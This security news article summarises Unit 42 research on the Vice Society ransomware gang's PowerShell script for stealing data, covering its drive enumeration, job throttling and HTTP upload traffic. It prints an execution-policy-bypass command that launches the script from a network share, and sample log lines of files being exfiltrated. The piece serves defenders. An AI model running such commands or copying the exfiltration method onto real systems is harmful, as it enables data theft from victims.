Researchers from Palo Alto Networks Unit42 uncovered the ransomware gang “Vice Society” that has stolen data from the victim network with the help of a custom-built Microsoft Powershell script.
Ransomware groups use an excessive number of methods to steal data from victims.
While some groups use external tools like FileZilla, WinSC, rclone etc Other groups use LOLBAS (living off the land binaries and scripts) methods like PowerShell scripts, RDP copy and paste and Wininet.dll (Microsoft’s Win32 API).
The script and method used by the Vice Society gang is explained below.
Attack Flow
Most threat actors use built-in methods like LOLBAS for stealing the data, which removes the need for bringing in an external tool that will be detected by security software or security personnel.
Built-in methods evade these security mechanisms since they operate in the environment.
Threat actors use PowerShell scripts to hide in plain sight in a native Windows environment.
During the beginning of 2023, the vice society ransomware group utilized a PS script that was recovered from a Windows Event Log (WEL) with an Event ID 4104: Script Block Logging event.
The PS script had a name w1.ps1 which was used to steal data from the victims. This Event log is found inside the Microsoft-Windows-PowerShell/Operational WEL provider.
Though the users in Windows enable Script Block Logging for logging script block events, Microsoft seems to have had a malicious event record in the backend, which was never documented.
However, as per Palo Alto, this Event ID 4104 will be helpful for users even when Script Block Logging was not enabled by the users.
The Unit 42 research team at Palo Alto found a command which was executed by the script used by the Vice Society script.
powershell.exe -ExecutionPolicy Bypass -file \[redacted_ip]s$w1.ps1
Furthermore, the threat actor exploits target machines inside the network by deploying this script on the target machine.
Usually, threat actors set these kinds of constants with more specified values to identify every single victim machine.
However, as per Palo Alto, this case seems like a testing phase, but utterly unsure whether this will stay like this forever.
Malicious PowerShell Script WorkFlow
The complete workflow between the functions and the scripts can be seen in the representation below:
Script Initiation
In advance of the calling of declared functions, the script checks for any mounted drives on the target system with the help of the Windows Management Instrumentation (WMI). A simple filtered call get-object win32_volume is made with an array named $drivers. This array will contain a list of drives mounted on the target machine, which are then individually passed to the Work() function.
The script will do the following actions:
- Creates an array named $drives filled with the list of mounted drives on the target machine.
a. The DriveType enum in win32_volume refers to the local disks.
- Iterates through the list of drives on the host ($drive) and passes every drive to the Work() function.
In machines with only one drive mounted, the following code is given.
Function – Work()
Every time the Work() function is called, the drive path ($disk) is received for searching and processing directories.
- CreateJobLocal() function is called on after getting a list of directory names with the Show() function. This creates a job for every grouped directory with a list of five directory names in a group.
- The script will run only 10 jobs at a time, above which handript sleeps for 5 seconds, after which it rechecks the count of the number of jobs running. This design is especially for less utilization of the host’s resources. Although the reason relies on the code’s author, the methodology shows great coding practice with the threat actor.
HTTP Activity Example
The research team at Palo Alto also simulated the HTTP POST request on the threat actor’s web server to understand how the request would be received.
192.168.42.100 – – [17/Feb/2023:02:46:00 -0000] “POST /upload?token=TEST_1&id=TEST&fullPath=%2fUsers%2fUnit42%2fDesktop%2fdont_exfil_me.eml HTTP/1.1” 200 166 “-” “-“
192.168.42.100 – – [17/Feb/2023:02:46:00 -0000] “POST /upload?token=TEST_1&id=TEST&fullPath=%2fUsers%2fUnit42%2fDesktop%2fi_mean_please_dont_exfil_me.eml HTTP/1.1” 200 166 “-” “-“
192.168.42.100 – – [17/Feb/2023:02:46:00 -0000] “POST /upload?token=TEST_1&id=TEST&fullPath=%2fUsers%2fUnit42%2fDesktop%2fme_either.docx HTTP/1.1” 200 166 “-” “-“
As per the report from Palo Alto, the HTTP activity included the following information
- The $fullpath variable declared during the script ignores the drive letter from which the file was uploaded.
- There is no User-Agent string on the web server.
Furthermore, suppose a Network Security Monitoring (NSM) or Intrusion Detection System (IDS) is in place. In that case, the outgoing HTTP traffic can be seen, which will contain the information on how many bytes of the request were exfiltrated.
The ransomware gang uses a simple script for the exfiltration of data which has multiprocessing and queuing to ensure the conservation of primary system resources. writing it focuses on files that are more than 10KB with file extensions included in the list.
The Unit 42 team of Palo Alto Networks posted a complete report on this incident.
Building Your Malware Defense Strategy – Download Free E-Book
Also Read:
Hackers Exploited Windows Zero-day For Ransomware Attacks
New Money Message Ransomware Attacks Both Windows & Linux Users
Ransomware Groups Attacking Satellite and Space Industry
Royal Ransomware Made Upto $11 Million USD Using Custom-Made Encryption Malware